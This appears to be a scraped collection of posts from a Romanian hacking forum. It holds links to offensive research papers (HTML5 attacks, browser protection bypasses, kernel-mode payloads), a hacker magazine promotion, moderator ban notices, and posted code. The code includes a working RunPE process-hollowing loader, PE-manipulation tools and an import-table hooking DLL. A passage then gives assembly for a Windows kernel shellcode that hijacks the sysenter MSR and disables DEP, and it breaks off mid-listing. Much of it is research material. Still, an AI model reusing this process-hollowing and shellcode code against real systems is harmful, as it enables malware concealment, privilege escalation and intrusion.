Nytro

Attacking with HTML5 By, Lavakumar Kuppan Attack and Defense Labs - Offensive & Defensive Security Research October 18, 2010 Introduction: HTML5 is redefining the ground rules for future Web Applications by providing a rich set of new features and by extending existing features and APIs. HTML5 Security is still an unexplored region because HTML5 features are not yet adopted by web applications (apart from experimental support) and it is assumed that until that happens the end users have nothing to worry about. This paper would prove this assumption wrong by discussing a range of attacks that can be carried out on web users ‘right now’ even on websites that do not support or intend to support HTML5 in the near future. Browser vendors have been trying to outdo each other in supporting the latest features defined in the HTML5 spec. This has exposed the users of these browsers to the attacks that would be discussed in this paper. The initial sections of this paper cover attacks and research that have been published by me and other researchers earlier this year. The latter sections covers attacks that are completely new and exclusive. The list of attacks covered: 1)Cross?site Scripting via HTML5 2)Reverse Web Shells with COR 3)Clickjacking via HTML5 a.Text?field Injection b.IFRAME Sandboxing 4)HTML5 Cache Poisoning 5)Client?side RFI 6)Cross?site Posting 7)Network Reconnaissance a.Port Scanning b.Network Scanning c.Guessing user’s Private IP 8)HTML5 Botnets a.Botnet creation i.Reaching out to victims ii.Extending execution life?time b.Botnets based attacks i.DDoS attacks ii.Email spam iii.Distributed Password Cracking Download: http://www.exploit-db.com/download_pdf/17258

Ciudat om. Paranoic rau. Daca incepi ca data trecuta primesti ban si pe contu asta si pe toate pe care o sa ti le faci.

[C++] Another MemExec Code Author: steve10120 // steve10120@ic0de.org #include <Windows.h> typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); LPVOID FileToMem(LPCSTR szFileName) { HANDLE hFile; DWORD dwRead; DWORD dwSize; LPVOID pBuffer = NULL; hFile = CreateFileA(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL); if (hFile) { dwSize = GetFileSize(hFile, NULL); if (dwSize > 0) { pBuffer = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (pBuffer) { SetFilePointer(hFile, NULL, NULL, FILE_BEGIN); ReadFile(hFile, pBuffer, dwSize, &dwRead, NULL); } } CloseHandle(hFile); } return pBuffer; } void ExecFile(LPSTR szFilePath, LPVOID pFile) { PIMAGE_DOS_HEADER IDH; PIMAGE_NT_HEADERS INH; PIMAGE_SECTION_HEADER ISH; PROCESS_INFORMATION PI; STARTUPINFOA SI; PCONTEXT CTX; PDWORD dwImageBase; NtUnmapViewOfSection xNtUnmapViewOfSection; LPVOID pImageBase; int Count; IDH = PIMAGE_DOS_HEADER(pFile); if (IDH->e_magic == IMAGE_DOS_SIGNATURE) { INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew); if (INH->Signature == IMAGE_NT_SIGNATURE) { RtlZeroMemory(&SI, sizeof(SI)); RtlZeroMemory(&PI, sizeof(PI)); if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) { CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); CTX->ContextFlags = CONTEXT_FULL; if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) { ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL); if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase) { xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection")); xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase)); } pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); if (pImageBase) { WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL); for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++) { ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40)); WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL); } WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL); CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint; SetThreadContext(PI.hThread, LPCONTEXT(CTX)); ResumeThread(PI.hThread); } } } } } VirtualFree(pFile, 0, MEM_RELEASE); } int main() { LPVOID pFile; TCHAR szFilePath[1024]; pFile = FileToMem("C:\\Users\\SCCoder\\Documents\\Visual Studio 2010\\Projects\\MemExecution\\Release\\notepad.exe"); if (pFile) { GetModuleFileNameA(0, LPSTR(szFilePath), 1024); ExecFile(LPSTR(szFilePath), pFile); } return 0; } Sursa: ic0de.org

[C/SRC] RealignPE v2 Author: The Swash /* ----------------------------------------------------------- - Function: RealignPE v2 - - Programmer: The Swash - - Web: http://www.h-sec.org - - Dedicated: Thor, Psymera, Steve10120, [Zero], Karcrack - ----------------------------------------------------------- */ #include <windows.h> #include <stdio.h> #include <stdlib.h> #define ReadWriteBinary "r+b" int AlingNum(int num, int aling); char * BytesAling(int number); int main(void) { printf("%i ",RealignPE("C:\\hi.exe")); getchar(); } int RealignPE(char * lpFile) { IMAGE_DOS_HEADER IDH; IMAGE_FILE_HEADER IFH; IMAGE_OPTIONAL_HEADER IOH; IMAGE_SECTION_HEADER ISH; DWORD PESignature = 0; FILE * lFile; int OriSize = 0; int ActSize = 0; int Alingned = 0; lFile = fopen(lpFile,ReadWriteBinary); if (lFile == NULL) {return -1;} else { fread(&IDH, 64, 1, lFile); fseek(lFile, IDH.e_lfanew , SEEK_SET); fread(&PESignature, 4, 1, lFile); if (IDH.e_magic != IMAGE_DOS_SIGNATURE) {fclose (lFile); return -2;} else { if(PESignature != IMAGE_NT_SIGNATURE) {fclose (lFile); return -3;} else { fseek(lFile, IDH.e_lfanew + 4, SEEK_SET); fread(&IFH, sizeof(IFH), 1, lFile); fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH), SEEK_SET); fread(&IOH, IFH.SizeOfOptionalHeader, 1, lFile); fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH) + IFH.SizeOfOptionalHeader + (sizeof(ISH)*(IFH.NumberOfSections-1)),SEEK_SET); fread(&ISH, sizeof(ISH), 1, lFile); fseek(lFile, 0, SEEK_END); ActSize = ftell(lFile); OriSize = ISH.PointerToRawData + ISH.SizeOfRawData; if (ActSize - OriSize > 0) { Alingned = AlingNum(ActSize - OriSize, IOH.FileAlignment); ISH.SizeOfRawData += Alingned; ISH.Misc.VirtualSize += Alingned; IOH.SizeOfImage = ISH.Misc.VirtualSize + ISH.VirtualAddress; IOH.SizeOfInitializedData += Alingned; if (ISH.VirtualAddress == IOH.DataDirectory[2].VirtualAddress) { IOH.DataDirectory[2].Size += Alingned; } fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH), SEEK_SET); fwrite(&IOH, 1, IFH.SizeOfOptionalHeader, lFile); fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH) + IFH.SizeOfOptionalHeader + (sizeof(ISH)*(IFH.NumberOfSections-1)),SEEK_SET); fwrite(&ISH, 1, sizeof(ISH), lFile); if (Alingned - (ActSize - OriSize) > 0) { fseek(lFile, ActSize, SEEK_SET); fwrite(BytesAling(Alingned-(ActSize - OriSize)), 1, Alingned-(ActSize - OriSize), lFile); } return 0; } else {return 1;} } } } } int AlingNum(int num, int aling) { if(num % aling == 0) { return num; } else if(num < aling) { return aling; } else { return (num / aling) * aling + aling; } } char * BytesAling(int number) { char * sTemp = (char *) malloc(number + 1); int i; for (i=0; i<number; i++) { sTemp[i] = '\0'; } return sTemp; } Sursa: ic0de.org

[C++] HookMsgBox Author: Xash #include <windows.h> #include <string.h> #include <stdio.h> void HookFunction(char* funcName, LPDWORD function); LPDWORD FoundIAT(char* funcName); int WINAPI HookMessageBoxA(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType); BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) { if(dwReason == DLL_PROCESS_ATTACH) { HookFunction("MessageBoxA", (LPDWORD)&HookMessageBoxA); } return true; } void HookFunction(char* funcName, LPDWORD function) { LPDWORD pOldFunction = FoundIAT(funcName); DWORD accessProtectionValue , accessProtec; int vProtect = VirtualProtect(pOldFunction, sizeof(LPDWORD), PAGE_EXECUTE_READWRITE, &accessProtectionValue); *pOldFunction = (DWORD)function; vProtect = VirtualProtect(pOldFunction, sizeof(LPDWORD), accessProtectionValue, &accessProtec); } int WINAPI HookMessageBoxA(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) { return MessageBoxA(hWnd, "hi!", "how are you?", uType); } LPDWORD FoundIAT(char* funcName) { DWORD test = 0; LPVOID pMapping = GetModuleHandle(NULL); if (pMapping == NULL) exit(-1); PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER) pMapping; if (DosHeader->e_magic != IMAGE_DOS_SIGNATURE) exit(-1); PIMAGE_NT_HEADERS NtHeaders = (PIMAGE_NT_HEADERS) ((char*) DosHeader + DosHeader->e_lfanew); if (NtHeaders->Signature != IMAGE_NT_SIGNATURE) exit(-1); PIMAGE_DATA_DIRECTORY DataDirectory = &NtHeaders->OptionalHeader.DataDirectory[1]; // Import symbols PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR) ((char*) DosHeader + DataDirectory->VirtualAddress); PIMAGE_THUNK_DATA32 OriginalFirstThunk = (PIMAGE_THUNK_DATA32)((char*) DosHeader + ImportDescriptor->OriginalFirstThunk); while(OriginalFirstThunk != 0) { DWORD name = (DWORD)((char*) pMapping + ImportDescriptor->Name); OriginalFirstThunk = (PIMAGE_THUNK_DATA32)((char*) DosHeader + ImportDescriptor->OriginalFirstThunk); PIMAGE_THUNK_DATA32 FirstThunk = (PIMAGE_THUNK_DATA32)((char*) DosHeader + ImportDescriptor->FirstThunk); while(OriginalFirstThunk->u1.AddressOfData != 0) { PIMAGE_IMPORT_BY_NAME NameImg = (PIMAGE_IMPORT_BY_NAME)((char*) DosHeader + (DWORD)OriginalFirstThunk->u1.AddressOfData); test = (DWORD)OriginalFirstThunk->u1.Function & (DWORD)IMAGE_ORDINAL_FLAG32; if (test == 0) { if(strcmp(funcName, (const char*)NameImg->Name) == 0) { return (LPDWORD)&(FirstThunk->u1.Function); } } OriginalFirstThunk++; FirstThunk++; } ImportDescriptor++; } return 0; } Sursa: ic0de.org

[C++] Remove Base Relocations Author: steve10120 // steve10120@ic0de.org #include <Windows.h> BOOL FileToMem(LPSTR szFilePath, LPVOID &pBuffer, DWORD &dwSize) { BOOL bResult = FALSE; HANDLE hFile; DWORD dwRead; hFile = CreateFileA(szFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, 0); if (hFile != INVALID_HANDLE_VALUE) { dwSize = GetFileSize(hFile, NULL); if (dwSize > 0) { pBuffer = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (pBuffer != NULL) { SetFilePointer(hFile, 0, NULL, FILE_BEGIN); ReadFile(hFile, pBuffer, dwSize, &dwRead, NULL); if (dwRead == dwSize) bResult = TRUE; } } CloseHandle(hFile); } return bResult; } DWORD Align(DWORD dwValue, DWORD dwAlignment) { DWORD dwResult = dwValue; if (dwAlignment > 0) { if ((dwValue % dwAlignment) > 0) dwResult = (dwValue + dwAlignment) - (dwValue % dwAlignment); } return dwResult; } BOOL RemoveBaseRelocations(LPSTR szFilePath, LPSTR szDestPath) { BOOL bResult = FALSE; HANDLE hFile; LPVOID pFile; DWORD dwFileSize; DWORD dwWritten; PIMAGE_DOS_HEADER IDH; PIMAGE_NT_HEADERS INH; IMAGE_SECTION_HEADER TempISH; IMAGE_SECTION_HEADER DeltaISH; PIMAGE_SECTION_HEADER ISH; WORD wRelocIndex; WORD i; if (FileToMem(szFilePath, pFile, dwFileSize)) { IDH = PIMAGE_DOS_HEADER(pFile); if (IDH->e_magic == IMAGE_DOS_SIGNATURE) { INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew); if (INH->Signature == IMAGE_NT_SIGNATURE) { if (INH->OptionalHeader.DataDirectory[5].VirtualAddress > 0) { for (i = 0; i < INH->FileHeader.NumberOfSections; i++) { RtlMoveMemory(&TempISH, LPVOID(DWORD(pFile) + IDH->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER) + INH->FileHeader.SizeOfOptionalHeader + (i * 40)), 40); if (TempISH.VirtualAddress == INH->OptionalHeader.DataDirectory[5].VirtualAddress) { wRelocIndex = i; break; } } ISH = PIMAGE_SECTION_HEADER(IMAGE_FIRST_SECTION(INH)); for (i = 0; i < INH->FileHeader.NumberOfSections; i++) { if (i > wRelocIndex) RtlMoveMemory(LPVOID(DWORD(ISH) - 40), ISH, 40); ISH++; } RtlZeroMemory(LPVOID(DWORD(ISH) - 40), 40); INH->OptionalHeader.DataDirectory[5].VirtualAddress = 0; INH->OptionalHeader.DataDirectory[5].Size = 0; hFile = CreateFileA(szDestPath, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0); if (hFile != INVALID_HANDLE_VALUE) { SetFilePointer(hFile, 0, NULL, FILE_BEGIN); WriteFile(hFile, pFile, INH->OptionalHeader.SizeOfHeaders, &dwWritten, NULL); ISH = PIMAGE_SECTION_HEADER(IMAGE_FIRST_SECTION(INH)); for (i = 0; i < INH->FileHeader.NumberOfSections; i++) { if (ISH->SizeOfRawData > 0) { SetFilePointer(hFile, 0, NULL, FILE_END); WriteFile(hFile, LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, &dwWritten, NULL); } ISH++; } INH->FileHeader.NumberOfSections -= 1; wRelocIndex -= 1; ISH = PIMAGE_SECTION_HEADER(IMAGE_FIRST_SECTION(INH)); for (i = 0; i < INH->FileHeader.NumberOfSections; i++) { if (i > wRelocIndex) { ISH->PointerToRawData -= Align(TempISH.SizeOfRawData, INH->OptionalHeader.FileAlignment); SetFilePointer(hFile, IDH->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER) + INH->FileHeader.SizeOfOptionalHeader + (i * 40), NULL, FILE_BEGIN); WriteFile(hFile, ISH, 40, &dwWritten, NULL); } if ((i == wRelocIndex) & ((wRelocIndex + 1) < INH->FileHeader.NumberOfSections)) { RtlMoveMemory(&DeltaISH, LPVOID(DWORD(pFile) + IDH->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER) + INH->FileHeader.SizeOfOptionalHeader + ((i + 1) * 40)), 40); ISH->Misc.VirtualSize = DeltaISH.VirtualAddress - ISH->VirtualAddress; SetFilePointer(hFile, IDH->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER) + INH->FileHeader.SizeOfOptionalHeader + (i * 40), NULL, FILE_BEGIN); WriteFile(hFile, ISH, 40, &dwWritten, NULL); } ISH++; } ISH--; INH->OptionalHeader.SizeOfImage = ISH->VirtualAddress + ISH->Misc.VirtualSize; INH->FileHeader.Characteristics = INH->FileHeader.Characteristics | IMAGE_FILE_RELOCS_STRIPPED; SetFilePointer(hFile, IDH->e_lfanew, NULL, FILE_BEGIN); WriteFile(hFile, INH, 4 + sizeof(IMAGE_FILE_HEADER) + INH->FileHeader.SizeOfOptionalHeader, &dwWritten, NULL); CloseHandle(hFile); bResult = TRUE; } } } } VirtualFree(pFile, 0, MEM_RELEASE); } return bResult; } Sursa: ic0de.org

Iti dau eu. Ban. Ai cerut un astfel de program stupid si schidic (script-kiddie) in 3 locuri deferite.

Sau: http://www.filetransfer.ro/QsA25R http://www.filetransfer.ro/NXmfRB Sunt filmate cu prostia mea de telefon, se vad si se aud foarte naspa.

The hacker news MAY 2011 - Issue 02 Social Engineering Edition Because there is no PATCH for human STUPIDITY ! Dear Readers As the cyber world rocks the X Generation we here at THE HACKERS NEWS spin the kalidoscope of technology news on its axis . Because of that, I get to warmly and appreciatively welcome you to ISSUE 2 of "THE HACKER NEWS MAGAZINE." THE HACKER NEWS was created from the need for up to date informative and practical hacking news and information. we were spinning from the over 50,000 downloads of the first issue of THE HACKER NEWS MAGAZINE! As Editor, I want you to know that issue 2 will keep you reading and learning from the unique information compiled just for you by security professionals and hackers alike. Not only do we have a tech savvy monthly magazine we also provide hacker news 24 hours a day, 7 days a week. We want you to be the best informed and educated on the web today, tomorrow and well into the future. Thank you for the pleasure of producing this magazine and I look forward to your input and continued interest in THE HACKER NEWS. Sincerely, Mohit Kumar (Chief-in-Editor) 1.) Social Engineering 1 2.) OpSony By Anonymous 11 3.) Anna Hazare 14 4.) Message By Pattie Galle 16 5.) Hacking News 17 6.) Hackers Tools Updates/Download 19 7.) Defacement News 20 8.) Security and Hacking Events 24 9.) Cyber Crime News 26 10.) Linux News 27 11.) Security News 28 12.) Vulnerability News 30 13.) Feedback to THN 32 Download: http://theevilhackerz.com/may-2011.pdf

Bypassing browser memory protections in Windows Vista Over the past several years, Microsoft has implemented a number of memory protection mechanisms with the goal of preventing the reliable exploitation of common software vulnerabilities on the Windows platform. Protection mechanisms such as GS, SafeSEH, DEP and ASLR complicate the exploitation of many memory corruption vulnerabilities. This work explores the limitations of all aforementioned protection mechanisms, specifically focusing on flaws in their implementation in popular browsers on the Windows platform. We demonstrate a variety of exploitation techniques using popular browser plugins such as Flash, Java and .NET that can be used to bypass the protections and achieve reliable remote code execution. Co-authored by Alexander Sotirov and Mark Dowd. This paper was presented at BlackHat USA 2008. Download: http://www.phreedom.org/research/bypassing-browser-memory-protections/bypassing-browser-memory-protections.pdf Source code: http://www.phreedom.org/research/bypassing-browser-memory-protections/bypassing-browser-memory-protections-code.zip Sursa: Bypassing browser memory protections in Windows Vista

A gentle introduction to return-oriented programming By Tim Kornau Hi, As I have promised in my last post I will start a series about return-oriented programming. I start with a short introduction about the topic. The introduction covers the origin of return-oriented programming, describes what return-oriented programming is and ends with a definition of return-oriented programming which I will use in the future posts. I will also take some of the recent discussions on Twitter into account which showed that even though I thought I did my history research pretty well, there were still some mailing list post missing from my time-line. Why do we need return-oriented programming ? Return-oriented programming is a technique which allows an attacker to execute code in the presence of the following defensive measures. Non executable memory segments Code signing Where does return-oriented programming come from ? Return-oriented programming is a recently coined term which describes a technique that has been developed in an iterative process in the security community. The terminology return-oriented programming is used for a subset of techniques which can be referred to as code reuse techniques. To understand where return-oriented programming comes from I show some of the milestones of the techniques history. Buffer overflows were first publicly documented in the Computer Security Technology Planning Study in 1972 (Appendix 1. Incomplete Parameter Checking). To put this in perspective one must remember that even though we now know that this document was published at the time only a small circle of individuals had access to the document then. A buffer overflow is, in the original form, a very simple error that is introduced if a function does not perform proper bounds checking for the accessed memory. Basically this means the function receives more input data than it can store. Assuming that the overflowed buffer was located on the stack, the attacker can now write a certain amount of data onto the stack where other variables and the return address might be located. Therefore the attacker can hijack the control flow of the current process and perform an arbitrary computation. The first major attack which used a buffer overflow as the targeted vulnerability was the Morris worm in 1988. But it was not until the late 90s that major operating systems started to have any protection against buffer overflows. For Microsoft operating systems a form of protection against buffer overflows was only added after the Code-Red and Slammer worms had changed their security mindset in 2004. One of the defensive measures which have been developed to defend against buffer overflows is the option to mark data memory segments as non-executable. This lead to the next evolutionary step towards return-oriented programming. Return-into-library technique The return-into-library technique is the root on which all return-oriented exploit approaches are based. A return-into-library exploit works as follows: After the attacker has hijacked the control flow, a library function he chooses is executed. The attacker has made sure that the stack pointer points into a memory segment he controls. The attacker has set up the data in the memory segment in a way that it provides the right arguments to the library function of his choice. Through this he can execute a function with the needed arguments. The technique of return-into-library exploits was initially presented publicly by Solar Designer in his 1997 posting to the Bugtraq mailing list. In this mail the groundwork for return-into-library exploiting was presented. The next milestone in the development of the technique was the Phrack article by Nergal which summarized the known techniques and broadened the attack vector by introducing esp shifting which allowed unlimited chaining of function calls to be used within return-into-library exploitation. Borrowed code chunks technique With the introduction of hardware-supported non-executable memory segments in combination with the support of 64 Bit CPUs the game changed again and traditional return-into-library exploits ceased to work. This was due to an ABI change which now required that the arguments to a function must be passed in registers rather than on the stack. Stealth developed a new approach that uses chunks of library functions instead of the call to the function itself to still be able to exploit buffer overflows on machines that employed the newly introduced defense. The approach is designed around the idea to locate instruction sequences which pop values from the stack into the right registers for function calls. By using his approach an attacker can use return-into-library exploits with the new ABI. A library which uses this technique in an automated fashion is DEPLib which has been developed by Pablo Sole. This library completely automates the return-oriented approach for Windows operating systems but it lacks support for loops and conditional branches (which is from a practical point of view negligible). Return-oriented programming The return-oriented programming technique broadens the attack vector even further by introducing loops and conditional branches for the return-oriented approach. The first academic work published in the field of return-oriented programming is Hovav Shacham’s ”The Geometry of Innocent Flesh on the Bone: Return-into-libc without function Calls (on the x86)” It describes the two major points which get addressed by return-oriented programming in contrast to the rest of the return-into-library techniques. The return-into-library technique has no support for loops and conditional branching. The removal of functions from libraries does not provide any security against return-oriented programming. For the x86 the approach he uses to find suitable instruction sequences is based on the fact that the x86 uses a variable length instruction set. Therefore it is possible to search for single binary opcodes which alter control flow such as the return instruction (0xC3) and disassemble the binary from this position backwards. Because x86 uses a variable length instruction set the bytes before the return instruction can provide many possible instruction sequences. Shacham also defined the term gadget which describes one useful instruction sequence which performs one useful operation such as addition. One assumption which Shacham made is that he thought a fixed length instruction set would make the application of return-oriented programming unfeasible. This was shown not to be the case by Ryan Roemers work which targeted the SPARC architecture which can be seen as the anti-thesis to the x86 architecture. One change which he needed to incorporate into his gadget set was that only memory could be used to pass information between gadgets. This is due to the way SPARC passes information in registers by shifting the register window. The most practical work which has been published in the field of return-oriented programming is the recent work which targeted the AVC Advantage voting system. This work has provided proof that return-oriented programming is a valid tool for the offensive security researcher as no other technique would have been as useful against the Harvard-type architecture upon which the AVC Advantage is build. What did we learn ? Return-oriented programming is a recently coined term but the underlying technology has a long history which is based on the work of many security researchers. We have started with its roots in return-into-library attacks and showed how it evolved until today. In the next post on return-oriented programming I will explain the first steps of my approach to make return-oriented programming platform independently. Tim Sursa: A gentle introduction to return-oriented programming « blog.zynamics.com

Kernel-mode Payloads on Windows bugcheck, chris@bugcheck.org skape, mmiller@hick.org This paper discusses the theoretical and practical implementations of kernel-mode payloads on Windows. At the time of this writing, kernel-mode research is generally regarded as the realm of a few, but it is hoped that documents such as this one will encourage a thoughtful progression of the subject matter. To that point, this paper will describe some of the general techniques and algorithms that may be useful when implementing kernel-mode payloads. Furthermore, the anatomy of a kernel-mode payload will be broken down into four distinct units, known as payload components, and explained in detail. In the end, the reader should walk away with a concrete understanding of the way in which kernel-mode payloads operate on Windows. Contents 1 Foreword 2 2 Introduction 3 3 General Techniques 5 3.1 Finding Ntoskrnl.exe Base Address . . . . . . . . . . . . . . . . . 5 3.1.1 IDT Scandown . . . . . . . . . . . . . . . . . . . . . . . . 6 3.1.2 KPRCB IdleThread Scandown . . . . . . . . . . . . . . . 7 3.1.3 SYSENTER EIP MSR Scandown . . . . . . . . . . . . . . 7 3.1.4 Known Portable Base Scandown . . . . . . . . . . . . . . 8 3.2 Resolving Symbols . . . . . . . . . . . . . . . . . . . . . . . . . . 8 4 Payload Components 11 4.1 Migration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 4.1.1 Direct IRQL Adjustment . . . . . . . . . . . . . . . . . . 13 4.1.2 System Call MSR/IDT Hooking . . . . . . . . . . . . . . 14 4.1.3 Thread Notify Routine . . . . . . . . . . . . . . . . . . . . 16 4.1.4 Hooking Object Type Initializer Procedures . . . . . . . . 20 4.1.5 Hooking KfRaiseIrql . . . . . . . . . . . . . . . . . . . . . 20 4.2 Stagers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 4.2.1 System Call Return Address Overwrite . . . . . . . . . . 21 4.2.2 Thread APC . . . . . . . . . . . . . . . . . . . . . . . . . 22 4.2.3 User-mode Function Pointer Hook . . . . . . . . . . . . . 23 4.2.4 SharedUserData SystemCall Hook . . . . . . . . . . . . . 23 4.3 Recovery . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 4.3.1 Thread Spinning . . . . . . . . . . . . . . . . . . . . . . . 28 4.3.2 Throwing an Exception . . . . . . . . . . . . . . . . . . . 29 4.3.3 Thread Restart . . . . . . . . . . . . . . . . . . . . . . . . 29 4.3.4 Lock Release . . . . . . . . . . . . . . . . . . . . . . . . . 31 4.4 Stages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 5 Conclusion 32 Download: http://www.uninformed.org/?v=3&a=4&t=pdf Online: http://www.uninformed.org/?v=3&a=4

Implementing a Win32 Kernel Shellcode Introduction This blog post will discuss the implementation of a win32 kernel mode shellcode which will deliver an independent user mode payload. Most of the techniques used in this shellcode are discussed in the excellent 2005 paper 'Kernel-mode Payloads on Windows' by bugcheck and skape. The shellcode works against all current Windows kernels and we will see how several assumptions regarding memory locations, can be made in order to both store the kernel mode shellcode as well as disable DEP for the user mode portions. The shellcode will work as follows. After gaining arbitrary code execution we will initially migrate out of the current kernel thread we are executing in by hijacking the sysenter Model Specific Register (MSR). Now whenever a user mode process performs a system call via the sysenter instruction, our kernel mode stager will get control. This stager will determine if it should hijack the user mode threads return address for the system call. If it does our user mode stager will get control and determine if it is executing in a predetermined SYSTEM process. If it is, the kernel mode sysenter hook is removed before finally executing the user mode payload. Should the user mode payload return cleanly, the hijacked user mode thread may resume execution normally. Kernel Mode Migration For our shellcode to work correctly we make several decisions as to where the shellcode will be placed in memory. From within kernel mode we will place our shellcode beginning at address 0xFFDF0400 which resides within the kernels Hardware Abstraction Layer (HAL) memory region. This memory is both writable and executable. It has the extra property of being mapped into the shared user data region (With a WinDbg symbol of SharedUserData, beginning at address 0x7FFE0000) of all user mode processes and as such can also be addressed from user mode using the address 0x7FFE0400 (We advance 0x400 bytes past the beginning of SharedUserData to avoid overwriting the critical information held there). From user mode on a Physical Address Extension (PAE) enabled system this memory will have the NX bit set marking it not executable as shown below in Listing 1. However we can easily overcome this in our kernel mode stager as described later. These addresses are not effected by ASLR and are static across all current versions of Windows. kd> !pte 0xFFDF0400 VA ffdf0400 PDE at 00000000C0603FF0 PTE at 00000000C07FEF80 contains 0000000000127063 contains 0000000000152163 pfn 127 ---DA--KWEV pfn 152 -G-DA—KWEV <- Executable bit is set kd> !pte 0x7FFE0400 VA 7ffe0400 PDE at 00000000C0601FF8 PTE at 00000000C03FFF00 contains 000000003D283867 contains 8000000000152005 pfn 3d283 ---DA--UWEV pfn 152 -------UR-V <- Executable bit is not set To hijack the sysenter MSR as shown below in Listing 2, we first read the value of the current sysenter MSR and save it to a known location so as we can restore it later. As we already know where we will place our kernel mode stager we proceed to set this value as the new sysenter MSR. We then copy our kernel mode stager and user mode stager over to this known location (0xFFDF0400). Finally we place the current kernel thread we are in into a halted state to avoid any stability issues should we instead attempt to either kill the thread or resume the threads execution. ring0_migrate_start: cld cli jmp short ring0_migrate_bounce ring0_migrate_patch: pop esi // pop off ring0_stager_start address // get current sysenter msr (nt!KiFastCallEntry) push 0x176 // SYSENTER_EIP_MSR pop ecx rdmsr // save original sysenter msr (nt!KiFastCallEntry) mov dword [esi+( ring0_stager_data - ring0_stager_start )+0], eax // retrieve the address in kernel memory where we will write the ring0 stager + ring3 code mov edi, dword [esi+( ring0_stager_data - ring0_stager_start )+4] // patch sysenter msr to be our stager mov eax, edi wrmsr // copy over stager to shared memory mov ecx, ( ring3_stager - ring0_stager_start ) rep movsb sti // set interrupt flag ring0_migrate_idle: hlt // Halt this thread to avoid problems. jmp short ring0_migrate_idle ring0_migrate_bounce: call ring0_migrate_patch // call the patch code, pushing the ring0_stager_start address to stack Kernel Mode Staging With both our kernel mode and user mode stagers resident in memory and the sysenter MSR hijacked, our kernel mode stager will get control upon any user mode process issuing a sysenter instruction. The kernel mode stager, shown below in Listing 3, will act as a proxy to the real sysenter function (nt!KiFastCallEntry), first preserving the state of the CPU before performing its actions and then restoring the state of the CPU and returning into the original sysenter function. The kernel mode stager will check to see if the user mode process which issued the system call, is instructing the stager to remove the sysenter MSR hook. The user mode stager, described later, will use this feature before executing the user mode payload. If the sysenter MSR hook is to be removed the address of the original sysenter function is restored to the correct MSR before the kernel mode stager returns. If the hook is not to be removed the kernel mode stager will determine if the return address for the user mode thread that issued the sysenter is to be patched in order to execute the user mode stager. How this is determined is to examine if the user mode return address from the system call is to a single RET instruction (As opposed to a 'RET 4' or 'RET 8' or any other instructions). This is to insure that the user mode stager can resume the hijacked user mode thread correctly if the user mode stager chooses not to execute the user mode payload (e.g. when not running in a SYSTEM process). This works because the user mode stager will also perform a single RET instruction when it is finished. If the kernel mode stager is to hijack the user mode return address, the address of the user mode stager is patched over the original return address held in the user mode threads stack (pointed to by EDX during a sysenter). Finally we must bypass DEP if we are running on a PAE enabled system so that the user mode stager can execute correctly. We can use the CPUID instruction to determine if the current CPU supports the NX bit. If it does we clear the NX bit from the Page Table Entry (PTE) which is associated with the user mode stager. Windows does not use any form of ASLR for the base of either its Page Directories or Tables which begin at 0xC0600000 and 0xC0000000 respectively on PAE enabled systems (Refer to page 771 of 'Windows Internals, Fifth Edition' by Mark Russinovich, David Solomin and Alex Ionescu). Knowing the address of the user mode stager (0x7FFE0400 + the length of the kernel mode stager), we can therefore determine the static address for the corresponding PTE, which will be 0xC03FFF00. By clearing the NX bit in this PTE we can disable DEP protection for the user mode stager. ring0_stager_start: push byte 0 // alloc a dword for the patched return address pushfd // save flags and registers pushad call ring0_stager_eip ring0_stager_eip: pop eax // patch in the real nt!KiFastCallEntry address as our return address mov ebx, dword [eax + ( ring0_stager_data - 